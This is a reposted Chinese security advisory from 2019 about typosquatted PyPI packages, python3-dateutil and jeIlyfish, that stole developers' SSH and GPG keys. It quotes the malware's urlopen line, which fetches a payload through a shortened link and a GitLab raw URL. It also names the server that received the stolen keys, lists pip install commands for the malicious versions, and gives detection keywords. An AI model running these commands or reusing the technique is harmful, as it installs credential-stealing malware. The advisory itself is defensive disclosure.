搜索

[6354] 2019-12-14_PyPI上发现带恶意代码包风险提示

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-17
2019-12-14_PyPI上发现带恶意代码包风险提示 P y P I 上 发 现 带 恶 意 代 码 包 风 险 提 示 E 安 全   2 0 1 9 - 1 2 - 1 4 以 下 文 章 来 源 于 安 恒 信 息 应 急 响 应 中 心   ， 作 者 安 恒 应 急 响 应 中 心 1 . 风 险 公 告 风 险 公 告 2 0 1 9 年 1 2 月 1 日 ， 有 研 究 人 员 发 现 P y P I 上 的 p y t h o n 3 - d a t e u t i l 和 j e I l y f i s h 包 带 有 恶 意 代 码 ， 实 际 上 这 两 个 带 有 恶 意 代 码 的 包 是 仿 冒 的 p y t h o n - d a t e u t i l （ 目 前 最 新 2 . 8 . 1 版 本 ） 和 j e l l y f i s h （ 目 前 最 新 0 . 7 . 2 版 本 ， 仿 冒 的 版 本 第 一 个 l 是 i 的 大 写 I ） ， 含 恶 意 代 码 具 体 文 件 是 ： j e I l y f i s h / _ j e l l y f i s h . p y 中 的 3 1 3 到 3 3 8 行 的 代 码 ， 代 码 的 扩 展 恶 意 行 为 主 要 是 盗 取 本 地 的 S S H 和 G P G 的 K e y ， 并 发 送 到 指 定 的 服 务 器 ， 随 后 官 方 删 除 了 该 代 码 ， 相 关 讨 论 链 接 ： h t t p s : / / g i t h u b . c o m / d a t e u t i l / d a t e u t i l / i s s u e s / 9 8 4 h t t p s : / / g i t h u b . c o m / j a m e s t u r k / j e l l y f i s h / i s s u e s / 1 2 6 根 据 拿 到 的 样 本 分 析 ， 植 入 的 代 码 进 行 了 B a s e 6 4 编 码 ： 提 取 该 代 码 段 直 接 执 行 ， 会 请 求 U R L ： u r l o p e n ( ' h t t p : / / b i t l y . c o m / 2 5 V Z x U b m k r ' ) 下 载 文 件 ， 该 U R L 重 定 向 跳 转 到 ： 安 恒 信 息 应 急 响 应 中 心 安 恒 信 息 应 急 响 应 中 心   . 安 恒 应 急 响 应 中 心 为 客 户 提 供 最 精 准 预 警 通 告 ， 同 时 提 供 漏 洞 在 客 户 应 用 系 统 危 害 、 影 响 范 围 及 修 补 方 案 等 信 息 。 公 司 产 品 漏 洞 提 交 请 联 系 : 4 0 0   6 0 5 9   1 1 0 ,   或 邮 件 联 系 : s r c @ d b a p p s e c u r i t y . c o m . c n 。
h t t p : / / g i t l a b . c o m / o l g i r e d 2 0 1 7 / a e g _ w a n d o o _ d a g _ m 3 / r a w / m a s t e r / h a s h s u m ， 下 载 的 文 件 代 码 恶 意 行 为 就 是 包 含 盗 取 本 地 的 S S H 和 G P G 的 K e y ， 并 P O S T 发 送 到 指 定 的 服 务 器 ： 6 8 . 1 8 3 . 2 1 2 . 2 4 6 : 3 2 2 5 8 。 2 . 影 响 版 本 影 响 版 本 正 常 版 本 ： h t t p s : / / p y p i . o r g / p r o j e c t / p y t h o n - d a t e u t i l / h t t p s : / / p y p i . o r g / p r o j e c t / j e l l y f i s h / 带 有 恶 意 代 码 的 仿 冒 版 本 ： h t t p s : / / p y p i . o r g / p r o j e c t / p y t h o n 3 - d a t e u t i l / （ 无 法 访 问 ， 官 方 已 经 下 架 ） h t t p s : / / p y p i . o r g / p r o j e c t / j e I l y f i s h / （ 无 法 访 问 ， 官 方 已 经 下 架 ） 根 据 版 本 记 录 ， j e I l y f i s h 仿 冒 发 布 了 2 个 版 本 ： h t t p s : / / l i b r a r i e s . i o / p y p i / j e I l y f i s h p i p   i n s t a l l   j e I l y f i s h = = 0 . 7 . 0 p i p   i n s t a l l   j e I l y f i s h = = 0 . 7 . 1 目 前 国 内 多 个 镜 像 服 务 器 还 能 找 到 j e I l y f i s h - 0 . 7 . 0 . t a r . g z 和 j e I l y f i s h - 0 . 7 . 1 . t a r . g z 存 在 恶 意 代 码 的 版 本 。 根 据 版 本 记 录 ， p y t h o n 3 - d a t e u t i l   仿 冒 发 布 了 1 1 个 版 本 ： h t t p s : / / l i b r a r i e s . i o / p y p i / p y t h o n 3 - d a t e u t i l p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 2 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 3 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 4 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 1 0 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 1 1 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 2 0 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 2 1 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 2 2 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 8 . 3 0 p i p   i n s t a l l   p y t h o n 3 - d a t e u t i l = = 2 . 9 . 1 由 于 发 现 后 即 被 下 架 ， 目 前 国 内 镜 像 服 务 器 暂 未 发 现 该 包 。 3 . 缓 解 措 施 缓 解 措 施
检 查 代 码 中 是 否 包 含 恶 意 的 j e I l y f i s h 代 码 ， 其 中 第 一 个 l 实 际 是 i 的 大 写 I ， 或 是 直 接 全 局 搜 索 代 码 库 中 是 否 含 有 以 下 关 键 字 的 文 件 ： “ b a s e 6 4 . b 6 4 d e c o d e ( Z A U T H S S ) ” “ z l i b . d e c o m p r e s s ( Z A U T H S S ) ” 友 情 提 示 ： 针 对 开 源 代 码 P y t h o n   P y P I 库 的 供 应 链 攻 击 之 前 就 有 发 生 过 ， 建 议 使 用 P y P I 的 P y t h o n 环 境 做 必 要 的 恶 意 代 码 筛 查 ， 防 止 遭 受 恶 意 仿 冒 攻 击 。
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理